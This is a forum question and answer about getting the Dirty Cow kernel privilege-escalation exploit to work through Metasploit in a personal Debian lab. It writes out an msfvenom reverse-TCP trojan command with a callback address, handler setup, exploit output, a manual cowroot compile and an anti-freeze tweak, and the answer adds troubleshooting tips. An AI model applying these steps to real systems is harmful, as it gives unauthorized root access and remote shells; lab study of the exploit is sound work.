Exploiting Dirty Cow using Metasploit

Question

I'm testing on some of my Linux Virtual Machines trying to exploit the Dirty Cow Vulnerability and I'm not able to success using Metasploit. First of all... for interested users, a couple of links to "Dirty Cow, What is" vulnerability, "Kernels affected" and explanation. I will explain the long version, maybe useful as manual for others. The question is in the last phrase!

I know that you must be able to launch commands from the "possible victim" machine and the kernel must be one of the affected. Nice, I'm working with a Debian Jessie VM using kernel 3.16 (which is affected).

I know we can compile it manually etc... but the point of my lab is try to "automatize" a little bit using Metasploit. First of all I downloaded the exploit to be used with the Metasploit framework. Is the .rb file downloaded from Rapid7 Github and adapted for Metasploit by nixawk.

I already put the .rb file under the right folder for Metasploit, in my case using Kali as "attacker" is /usr/share/metasploit-framework/modules/exploits/linux/local/ because is on linux category, etc. Now I can see from msfconsole the exploit using search dirtycow. So, everything looks good at Metasploit! now I can use it. Let's work...

After selecting the exploit use exploit/linux/local/DirtyCow showing the options show options, I can see as simple as set the session on which we are going to try to perform the exploit. We don't have one session yet. At the beginning I didn't know if is needed a meterpreter session or what kind of session. After some tests, it seems is needed a linux shell session. Ok, let's prepare the Trojan with the reverse tcp linux shell using msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.159 LPORT=4444 -f elf > /root/Desktop/testTroj. The ip is where my Kali "attacker" linux is, port is ok, there is communication between both machines (victim and atacker) because they are on same LAN, no firewalls, etc..

I prepared the Metasploit "listening" for the shell session using use exploit/multi/handler , then setting the payload, in this case set payload linux/x86/shell/reverse_tcp. After that I set the parameters needed, port is default 4444 so is ok, set lhost 192.168.0.159 which is may lan's attacker Kali machine ip and that's all. I run the exploit keeping it "listening" in background using exploit -j.

Then, I copied manually the file with the Trojan's "present" to the victim's Debian machine and I executed it as root. On Metasploit the session is created on background with the ID 1. Everything ok. Now we select again the DirtyCow's exploit using use exploit/linux/local/DirtyCow and set the unique parameter needed with the id of our session set session 1 because the other parameter is fine, /tmp is ok, the path exists and there is write permissions for everybody. Ready to go... I run the exploit using exploit and this is my output:

[*] Started reverse TCP handler on 192.168.0.159:4444 
[*] Compiling /tmp/UzUvDldaCr.c via gcc
[*] Executing at 2016-12-14 22:10:51 +0100.
[!] This exploit may require manual cleanup of '/tmp/UzUvDldaCr.c' on the target
[!] This exploit may require manual cleanup of '/tmp/UzUvDldaCr.out' on the target
[*] Exploit completed, but no session was created.

It didn't worked... not sure what I'm doing wrong... I try to enter into the session to see what happened using sessions -i 1 and this is what I found:

[*] Starting interaction with 1...

2737988140
CdjEPizWwVtmWTWAIRRYUSplYyfsbGNI
3.16.0-4-amd64
UkbrQnewfsTjJuZHVygXpxDIFUhDHrVC
65537
ibcpgKMTLBVjxRyDsYoBnPMXbihygWlH
��ABCD%%
rgRjAKXaPFXlRUVEilZIdCSnvUxWncoo
GLrEcejVuhmqQOuCOdSONoLbOBudHGeX
/tmp/UzUvDldaCr.c: In function 'procselfmemThread':
/tmp/UzUvDldaCr.c:55:14: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast
 lseek(f, map, SEEK_SET);
          ^
In file included from /tmp/UzUvDldaCr.c:8:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
            ^
collect2: fatal error: cannot find 'ld'
compilation terminated.
GGYjQWGSfKLntgwhprtYiCsLJKndFUxl
chmod: cannot access '/tmp/UzUvDldaCr.out': No such file or directory
/bin//sh: 19: /tmp/UzUvDldaCr.out: not found
bQKiCptqxwqFyDAjNVVWmXvVmvedCSXd
UVKeynQmJkUxYjSUNJOnVOhDbQdvTykf
uMNhdcrJsOycUmRPavHrBJieIZEeBOHd

ld
ld: no input files

Not sure what is happening. gcc and ld commands are available on Debian's victim machine...

Is everything ok on attackers side? am I doing something wrong? Or is there a problem on victim's machine? Maybe the lack of some tool or something. If anybody can guide me... Thanks!

EDIT: I tried executing the Trojan using root and too I tested using a normal user on Debian's victim machine... the shell session is created in both cases but the final result is the same... same error, same log.

EDIT 2: The Metasploit module is based on cowroot PoC, so I downloaded the cowroot.c file from here, copied it manually to Debian's victim machine to try to compile it manually instead of using Metasploit. I Followed the instructions $ gcc cowroot.c -o cowroot -pthread and I obtained different error... Some warnings but no fatal error:

cowroot.c: In function 'procselfmemThread':
cowroot.c:98:17: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast
 lseek(f, map, SEEK_SET);
          ^
In file included from cowroot.c:27:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
            ^

And if you try it is half working... I mean if you execute it $ ./cowroot it drops the root shell... but after a while, the entire victim machine hangs completely. So now I'm lost... Why is not working on Metasploit? Is normal to get O.S. freezed after exploit the Dirty Cow vulnerability? Maybe the freeze could be because of compilation warnings?

EDIT 3: There is a workaround for the freezing problem. After some googling I found that if you execute previously (or quickly after dropping root shell before freezing) on victim's machine this echo 0 > /proc/sys/vm/dirty_writeback_centisecs, then you launch the exploit and it doesn't hang the system. I searched inside the code of the Metasploit module (DirtyCow.rb) and I found this:

def on_new_session(client)
    client.shell_command_token('echo 0 > /proc/sys/vm/dirty_writeback_centisecs')
end

So I guess after connecting with metasploit the system is not going to hang... But the point is still not working from Metasploit. :/

Answer 1

A couple of things:

1) What are you setting your target to? If the system that you are compiling the exploit for is running a 64-bit kernel, this may cause some issues. The default target is set to 32-bit.

2) When you set your SESSION variable, make sure that you check the exploits options to ensure that it is being set correctly.

3) On the target, make sure that /usr/bin/passwd exists and is suid to root. Also make sure that gcc is located at /usr/bin/gcc, the exploit does not use the PATH environmental variable to find either of these files.

4) When you interact with the session after running the exploit, are you able to issue any shell commands? You may not see a prompt, but try running "id" or something to see if you get STDOUT back.